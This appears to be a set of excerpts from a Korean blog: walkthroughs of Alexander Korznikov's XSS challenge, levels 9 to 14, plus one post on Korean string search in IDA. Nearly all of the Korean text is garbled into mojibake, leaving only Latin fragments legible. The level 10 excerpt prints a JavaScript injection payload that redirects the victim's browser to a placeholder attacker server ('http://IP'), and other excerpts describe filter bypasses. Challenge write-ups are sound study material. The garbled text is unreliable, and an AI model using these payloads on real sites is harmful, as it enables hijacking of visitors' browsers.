14๋จ๊ณ๋ถํฐ๋ ์กฐ๊ธ์ฉ ๋์ด๋๊ฐ ์ฌ๋ผ๊ฐ๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค. ๋ฉ์ธ ํ์ด์ง์๋ ๋ค์ ์ฌํํ ๋์์ธ์ ๊ฐ์ง๊ณ ์๊ธฐ์ ์์ค๋ฅผ ๋ณด๋ฉด์ ๋ถ์์ ํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ๋ณด์ด๋ ํฌ์ธํธ๊ฐ ๋ฑ 2๊ณณ์ด ํ์ธ๋ฉ๋๋ค. ์ฒซ๋ฒ์งธ๋ analytics.js.js ๋ถ๋ถ๊ณผ try_harder ๋ณ์์ ๋๋ค. ์คํฌ๋กค ์ ์ผ ํ๋จ์ผ๋ก ๋ด๋ ค๋ณด๋ฉด analytics.js ํ์ผ์ด ํ๋ ๋ ์กด์ฌํฉ๋๋ค. 3๋ฒ์งธ ์ค์ analytics.js.js๋ ์ ํจํ์ง ์์ ๊ฒฝ๋ก์ด๋ฉฐ ์คํฌ๋กค ์ ์ผ ํ๋จ์๋ ์ ํจํ ๊ฒฝ๋ก๊ฐ ์ ๋ ฅ๋์ด ์์ต๋๋ค. ์ ๋ ฅํ๊ณ ์ ํ๋ ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ๋ชจ๋ ์ ๊ฑฐํด๋ณด๋ฉด src์ ๋ถ์ฌ๋ ๊ฒฝ๋ก๋ ์ ๊ฑฐ๋์ด ์์ง๋ง. js๋ ๊ณ ์ ์ ์ผ๋ก ๋จ์ ์์ต๋๋ค. ์ ๋ ฅ ๊ฐ ๊ฒ์ฆ์ ์ด๋ป๊ฒ ์งํ๋๋ ํ์ธํด๋ณด๋ฉด ๊ต์ฅํ ํ์ดํธํ๊ฒ ๊ฒ์ฆํ๊ณ ์์ด ์์ ์๋ฐ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์ ์ฝ์ ํ์ฌ ์คํ์ํฌ..
๊ฐ์ข ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ถ์ํ๊ฑฐ๋ ์ง๋จํ ๋ ํน์ ํจ์๋ฅผ ์ถ์ธกํ์ฌ ํธ๋ ์ด์ค ํ๊ฑฐ๋ ๋ฌธ์์ด ๊ฒ์์ ํตํด ํฌ์ธํธ๋ฅผ ์ฐพ์์ผ ๋ฉ๋๋ค. ํ์ง๋ง ๊ตญ๋ด์์ ๊ฐ๋ฐ๋ ์ ํ์ ์ด์ฉํ๋ค ๋ณด๋ฉด ๋๋ถ๋ถ์ด "ํ๊ธ"๋ก ์ด๋ฃจ์ด์ ธ ์๊ธฐ ๋๋ฌธ์ IDA์ ์ ์ฌํ Ghidra์์๋ ํ๊ธ์ ํตํ ๋ฌธ์์ด ๊ฒ์์ด ๋์ง ์์ต๋๋ค. ์ด๋ด ๋๋ IDA์ ๊ธฐ๋ฅ์ ์ด์ฉํ๋ฉด ๋ณด๋ค ์์ํ๊ฒ ํ์ํ ์ ์์ต๋๋ค. ๋ง์ฝ IDA 7.0 ์ดํ์ ๋ฒ์ ์ ์ฌ์ฉ ์ค์ด์๋ผ๋ฉด ํ๊ธ ํ์ฑ์ ๊ฐ๋ฅํ๊ฒ๋ ์ปฌ์ฒํ์ผ(.clt)์ ์ถ๊ฐํด์ค์ผ ๋ฉ๋๋ค. ์ถ๊ฐ ๋ฐฉ๋ฒ์ ์๋์ ๋งํฌ๋ฅผ ํตํด ์งํํด์ฃผ์๋ฉด ๋ฉ๋๋ค. http://egloos.zum.com/shadowxx/v/11310107 ida ํ๊ธ string (character) ์ ๋๋ก ์ฝ์ด์ค๊ฒ ๋ง๋ค๊ธฐ. ์์ฆ ํ๋ก๊ทธ๋จ ๋๋ฒ๊น ์ฐจ์์์ ๋ช๊ฐ์ง ํ ..
13๋จ๊ณ ๋ฉ์ธ ํ์ด์ง๋ฅผ ํ์ธํด๋ณด๋ฉด ์ ๋จ๊ณ์ ์ ์ฌํ ๋์์ธ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, 12๋จ๊ณ์์ ์ฌ์ฉ๋ Payload๊ฐ ๋์ํ ์๋ ๋์ํ์ง ์์ ์๋ ์๋ค๋ ๋ด์ฉ์ด ๋ด๊ฒจ์์ต๋๋ค. ์ ๊ฐ ์ฌ์ฉํ๋ Payload๋ ๋์ํ์ง ์์์ผ๋ฏ๋ก ์ฝ๋๋ฅผ ์ดํด๋ณด๊ฒ ์ต๋๋ค. ๋์ผํ๊ฒ ํ๊ทธ๋ฅผ ํตํด untrusted ๋๋ฉ์ธ์ด ์ ์ธ๋์ด ์์ต๋๋ค. ์คํฌ๋กค์ด ๋๋ฌด ๋จ์ ๋ฐ์ผ๋ก ๋ด๋ ค๋ณด๋ ` (๋ฐฑ ์ฟผํฐ)๋ฅผ ์ฌ์ฉํด์ฃผ๋ฉด ํ์ ์ฐฝ์ ๋ฌด๋ฆฌ ์์ด ๋์ธ ์ ์์ง๋ง ๋ญ๊ฐ ๋ค๋ฅธ ๋ฐฉ์์ ํตํด m ๋ณ์์ ์ ์ธ๋ "Good Luck!"์ ๋์์ฃผ๊ณ ์ถ์ต๋๋ค. () Bypass ๊ธฐ๋ณธ์ ์ผ๋ก " () " ๊ดํธ ํํฐ๋ง์ ์ฐํ ๊ธฐ๋ฒ์ " `(Back Quote)" ๋ก ๋ง์ด ์ฌ์ฉํ์ง๋ง ์ด ๋ฐฉ๋ฒ ์ด์ธ์ ์๋์ ๊ฐ์ 2๊ฐ์ง ์์ฑ์ ์ด์ฉํด ๊ดํธ ์ฌ์ฉ์ ํผํ ์ ์์ต๋๋ค. 1. Con..
12๋จ๊ณ๋ ๋ค์ ๋ค๋ฅธ ๋ชจ์ต์ ํ์ด์ง๋ก ํ์ธ๋ฉ๋๋ค. ์์ค์ฝ๋๋ฅผ ๋จผ์ ๋ณด๋ฉด์ ํด๊ฒฐํด๋๊ฐ ๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ด์ ๋จ๊ณ์์๋ ์๋ฐ์คํฌ๋ฆฝํธ์ ์ ์ธ๋ ๋ณ์๋ฅผ ํ์ฉํด์ ํ์ ์ฐฝ์ ๋์ ๋๋ผ๋ฉด ์ด์ ๋ ์ ํ๊ทธ์ ๋ถ์ฌ๋ ์ฃผ์๋ฅผ ํ์ฉํ์ฌ ํด๊ฒฐํด์ผ ๋๋ ๋ฌธ์ ์ธ ๊ฒ ๊ฐ์ต๋๋ค. src="" ์์ฑ์ ๋ถ์ฌ๋ untrusted ํ์ด์ง๋ก ์ด๋ํด๋ณด๊ฒ ์ต๋๋ค. untrusted.so.co.il ํ์ด์ง๋ ์ด์ ๋จ๊ณ์์ ๋ณด์ฌ์ก๋ ํ์ด์ง๋ค์ฒ๋ผ ๋ค์ ์ฌํํ ํ๋ฉด์ ๋์ฐ๊ณ ์์ต๋๋ค. ํด๋น ํ์ด์ง ์์ค์ฝ๋๋ฅผ ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค. ์์์๋ถํฐ ํ์ธํด๋ณด์๋ฉด ๋ณ์ m์๋ 'Good Luck!' String ๋ฌธ์์ด์ด ์ ์ธ๋์ด ์์ผ๋ฉฐ. php? p=์ ์ ๋ ฅ๋ Payload๋ 12๋ฒ์งธ ์ค์ a ๋ณ์์ 'Payload'; ํํ๋ก ์ฝ์ ๋๊ณ ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก " ';..
๋ ๋ฒจ 11๋จ๊ณ๋ฅผ ๋ณด์๋ฉด ๋น๊ต์ ์ฌํํ ํ์ด์ง ๊ตฌ์ฑ์ผ๋ก ๋์ด ์์ต๋๋ค. ์ฐ์ ์์ค์ฝ๋ ๋จผ์ ๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ด๋ฒ์๋ ๋ค์ ๋ณต์กํ ์ฝ๋๋ค๋ก ๊ตฌ์ฑ๋์ด ์์ต๋๋ค. .php?p=์ ์ ๋ ฅ๋ Payload๋ "a"๋ผ๋ ๋ณ์์ ๋ด๊ธฐ๊ฒ ๋ฉ๋๋ค. 11๋จ๊ณ์์๋ถํฐ๋ ์คํ ๊ฐ๋ฅํ ์ ๋ ฅ ๊ฐ ์ด์ธ์๋ ๋ชจ๋ ์์ธ์ฒ๋ฆฌ๋ฅผ ์งํํ๊ณ ์์ด ๋ณ๋์ ๋ธ๋ก ํ๋ฉด์ด ๋ํ๋๊ฒ ๋ฉ๋๋ค. ์ด๋ฌธ์ ๋ฅผ ํธ์ ๋ถ๋ค์ ์ "Hacking attempt" ํ๋ฉด์ ์์ญ ๋ฒ ๋ดค์ ๊ฒ์ด๋ผ ์๊ฐํฉ๋๋ค... ์ ๋ ํด๊ฒฐํ๊ธฐ ์ํด ์ฌ๋ฌ ๊ธฐ๋ฒ๋ค์ Bofore After๋ฅผ ๋ถ์ํ๋๋ฐ ๋์ ํฌ ์คํ๊ฐ๋ฅํ ๊ตฌ๋ฌธ์ ๋ชป ์ฐพ์์ต๋๋ค.. ํํธ๋ผ๊ณ ๋ ์กด์ฌํ์ง ์๋ ์ฑ๋ฆฐ์ง๊ธฐ ๋๋ฌธ์ ํ์ฐธ์ ํค๋งค๋ค๊ฐ security.stackexchange.com์์ ์ฐ์ฐํ ํด๊ฒฐ๋ฒ์ ํ์ธํ์ต๋๋ค. ๊ฒฐ๋ก ์ ์ผ๋ก ..
level 10๋จ๊ณ๋ฅผ ์งํํ๊ฒ ์ต๋๋ค. ํ๋ฉด์ ๋ณด์ด๋ ํ๋ฉด์ ์ด์ ๊ณผ ์ ์ฌํ ๋ชจ์ต์ ๋์ฐ๊ณ ์์ต๋๋ค. ๋ด๋ถ ์ฝ๋๋ฅผ ๋จผ์ ์ดํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. 10๋จ๊ณ์์๋ a์ b๋ผ๋ ๋ณ์์ ๊ฐ์ด ์ ์ธ๋์ด ์๋ ์ํ์ ๋๋ค. ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ Payload๋ "a" ๋ณ์์ ๋ด๊ธฐ๋๋ก ๋์ด์๋๋ฐ document.write ์์ฑ์ ํตํด ๊ฐ์ด ์คํ๋๋ ๊ฒ์ ๋ณด์ค ์ ์์ต๋๋ค. document.write()์ ๊ธฐ๋ฅ์ Document Object์ ํจ์๋ก ์ธ์ ๊ฐ์ ์น ๋ธ๋ฌ์ฐ์ ํ๋ฉด์ ํ ์คํธ ํ์์ผ๋ก ์ถ๋ ฅํด์ฃผ๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ';{document.location.href="http://IP"}// 9๋จ๊ณ์์ ์งํํ ๋ฐฉ๋ฒ๋๋ก a๋ณ์๋ฅผ ๋ซ์ ๋ง๋ฌด๋ฆฌ(;)ํด์ฃผ๊ณ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๋ก๋์์ผ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋๋ก ํด์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค. ๋ค..
ํ๋์ ์ฌ๋ฆฌ์ง ๋ชปํ๋ XSS ์ฑ๋ฆฐ์ง๋ฅผ ์ค๋๋ง์ ๋ค์ ํ๊ฒ ๋์์ต๋๋ค. ์ ๊ฐ ์ฌ๋ฏธ์๊ฒ ํ๊ณ ์๋ Alexander Korznikov์ XSS ์ฑ๋ฆฐ์ง์ ์ฅ์ ์ ๊ธฐ์กด์ XSS ๊ฒ์๊ณผ๋ ๋ค๋ฅด๊ฒ ํํ ๋ฒ์ ์ฌ๋ฆฐ ์ฌ๋๋ค์ด ๋ง์ด ์์ผ๋ฉฐ(๊ตญ๋ด์์๋ ๋ณธ ์ ์ด ์๋ค์..) ์ถ์ ์์ ์๋๋ฅผ ์์์ ํ์ ํ๊ณ ์ผ๋ง์ ํํธ ์์ด ๊ณต๋ต ํ๋ค๋ ์ ์์ ๋์ฑ ์ ์ฐฉ์ด ๊ฐ๊ณ ๋ชฐ์ ์ด ๋๋ ๊ฑฐ ๊ฐ์ต๋๋ค. ๊ณต๋ต ํ์ด์ง๋ ๊ต์ฅํ ์ฌํํฉ๋๋ค. Reflected ๋ฐฉ์์ผ๋ก ํ๋ผ๋ฏธํฐ์ ์ ์ ํ Payload๊ฐ ์ฝ์ ๋ ๊ฒฝ์ฐ ๋ค์ด์ผ๋ก๊ทธ ํ์ ์ฐฝ์ ๋์ฐ์ค ์ ์์ต๋๋ค. ์ด์ ๋จ๊ณ(8-1) ์ ์์ค์ ์ ์ฌํ ํํ์ ์ฝ๋๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. b๋ผ๋ ๋ณ์์๋ "1"์ด ์ ์ธ๋์ด ์๊ณ if ์กฐ๊ฑด๋ฌธ์ ํตํด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ ์ ์๋๋ก ๊ตฌ๋ฌธ์ ์์ฑ์์ผ์ผ ๋ฉ๋๋ค. b์ ๋ณ์..